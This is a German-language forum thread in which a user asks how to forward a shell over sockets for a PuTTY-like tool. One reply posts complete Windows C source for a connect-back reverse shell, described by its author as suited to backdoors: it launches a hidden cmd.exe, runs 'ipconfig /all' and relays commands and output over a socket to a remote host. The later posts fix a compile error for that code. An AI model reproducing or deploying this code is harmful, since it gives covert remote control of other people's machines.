Shell per Sockets weiterleiten?
-
Hallo, ich habe vor eine Shell ähnlich wie putty zu entwickeln. Die Shell kann bis jetzt lokale Befehle ausführen, jetzt habe ich ein server und client entwickelt welche nun kommunizieren sollen.
Beispiel:
**
PC1 Client
PC2 Server | Shell**Also der PC1 ist wo der Client laufen soll, welcher sich mit dem server in Verbindung setzt und dann dieser denn Inhalt der Shell an den Client weitersendet.
Jetzt habe ich ein Code von Microsoft gefunden, welche den Inhalt in eine andere Console umleitet, einmal Redirect.c und Child.c -> http://support.microsoft.com/kb/190351/de
Habe nur die Redirect verwendet und meinen Namen der Shell eingetragen, wenn ich dann die Redirect.exe starte wird die Shell dann hier gestartet
d.h. ich müsste den Code von Redirect.c in meinen Server Code implementieren, wie bekomme ich die Ein-/Ausgabe von der Shell vom Server zum Client gesendet, also welche Daten soll ich dann senden???Skizze:
PC1 PC2
Client ------------------ Server <--> Shell
-
erzeuge pipe's die als neue standard handles für die console dienen und starte damit deinen prozess. diese handles rufst du dann auf daten ab und sendest sie ganz normal über sockets weiter.
beispielcode für den server (connectback-code, zum beispiel für backdoors geeignet):
#include <stdio.h> #include <windows.h> #include <winsock2.h> struct sTimeval { long tv_sec; long tv_usec; }; int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { // http://support.microsoft.com/default.aspx?scid=kb;en-us;190351 // http://bdn.borland.com/article/10387 HANDLE hNewStdIn, hWriteStdIn, hNewStdOut, hReadStdOut; STARTUPINFO siProcess = {0}; PROCESS_INFORMATION piProcess = {0}; SECURITY_ATTRIBUTES saHandle = {0}; char szTemp[2048]="", szWinDir[512]="", szServer[512]="localhost"; DWORD dwToRead=0, dwAvail; WSADATA wsaData; SOCKADDR_IN siAddr; int iPort=150; unsigned long ulIp; HOSTENT* heData; SOCKET sConn; FD_SET fdsSelect; struct sTimeval tvTimeout; //WINSOCK WSAStartup(MAKEWORD(2,0), &wsaData); memset(&siAddr, 0, sizeof(SOCKADDR_IN)); siAddr.sin_family = AF_INET; siAddr.sin_port = htons(iPort); ulIp = inet_addr(szServer); if(ulIp!=INADDR_NONE) { siAddr.sin_addr.s_addr = ulIp; } else { heData = gethostbyname(szServer); if(heData==NULL) { return 0; } else { memcpy(&(siAddr.sin_addr), heData->h_addr_list[0], 4); } } sConn = socket(PF_INET, SOCK_STREAM, 0); if(sConn==INVALID_SOCKET) { return 0; } if(connect(sConn, (SOCKADDR*)&siAddr, sizeof(SOCKADDR))!=0) { return 0; } //Redirection GetSystemDirectory(szWinDir, 512); strcat(szWinDir, "\\cmd.exe"); saHandle.nLength= sizeof(SECURITY_ATTRIBUTES); saHandle.lpSecurityDescriptor = NULL; saHandle.bInheritHandle = TRUE; //stdin if(CreatePipe(&hNewStdIn, &hWriteStdIn, &saHandle, 0)) { //stdout & stderr if(CreatePipe(&hReadStdOut, &hNewStdOut, &saHandle, 0)) { siProcess.hStdError = hNewStdOut; siProcess.hStdInput = hNewStdIn; siProcess.hStdOutput = hNewStdOut; siProcess.dwFlags = STARTF_USESTDHANDLES; siProcess.cb = sizeof(STARTUPINFO); if(CreateProcess(szWinDir, NULL, NULL, NULL, TRUE, CREATE_NO_WINDOW | NORMAL_PRIORITY_CLASS, NULL, NULL, &siProcess, &piProcess)) { Sleep(500); WriteFile(hWriteStdIn, "ipconfig /all\n", 14, &dwToRead, NULL); while(1) { memset(szTemp, 0, 2048); if(PeekNamedPipe(hReadStdOut, NULL, 0, NULL, &dwAvail, NULL)) { if(dwAvail>0) { if(ReadFile(hReadStdOut, szTemp, 2048, &dwToRead, NULL)) { send(sConn, szTemp, strlen(szTemp), 0); } } } memset(szTemp, 0, 2048); FD_ZERO(&fdsSelect); FD_SET(sConn,&fdsSelect); tvTimeout.tv_sec = 0; tvTimeout.tv_usec = 0; if(select(0, &fdsSelect, NULL, NULL, &tvTimeout)==1) { if(recv(sConn, szTemp, 2048, 0)) { WriteFile(hWriteStdIn, szTemp, strlen(szTemp), &dwToRead, NULL); } } Sleep(1); } } } } return 0; }zu compiliern unter LCC compiler. bei mir tat alles wunderbar

grützi
RadiatioN
-
Hi, habe den ersten Code von http://bdn.borland.com/article/10387 kompiliert und ausgeführt, der ist sogar besser als der von MS da hier nur ein Konsolenfenster geöffnet wird.
Jetzt habe ich mir vorgestellt das die Anwendung childspawn.cpp die die Shell umleitet nochmals per Sockets an den CLient sendet, geht das?Hab dein Code mit Visual Studio 2005 kompiliert bekomme an dieser Stelle:
if(select(0, &fdsSelect, NULL, NULL, &tvTimeout)==1)folgenden Fehler:
error C2664: 'select': Konvertierung des Parameters 5 von 'sTimeval *__w64 ' in 'const timeval *' nicht möglich Die Typen, auf die verwiesen wird, sind nicht verknüpft; die Konvertierung erfordert einen reinterpret_cast-Operator oder eine Typumwandlung im C- oder Funktionsformat.Wie kann man den Fehler beheben?
-
in den LCC compiler headern ist die TIMEVAL struktur komischerweise nicht definiert, also habe ich das selbst getan. ersetzte einfach die version von mir mit der aus den original headern. dann sollte das auch ohne cast funktionieren.
grützi
RadiatioN
-
Ich habe mich für den Code Redirect.c von MS entschieden, also hier:
http://support.microsoft.com/default.aspx?scid=kb;en-us;190351Bisher habe ich als Server Programm folgenden Code verwendet: http://www.c-worker.ch/winsock/selectchatsrv.cpp
und als Client:
http://www.c-worker.ch/winsock/selectchatclient.cppHier mal ein Konzept von mir, wie es aussehen soll:
http://home.arcor.de/fam.richert/rshell.jpgJetzt muss ich Redirect.c in den Server-Code einbauen, was soll dann gesendet werden, also welcher Teil von Redirect ??

Bitte um Hilfe
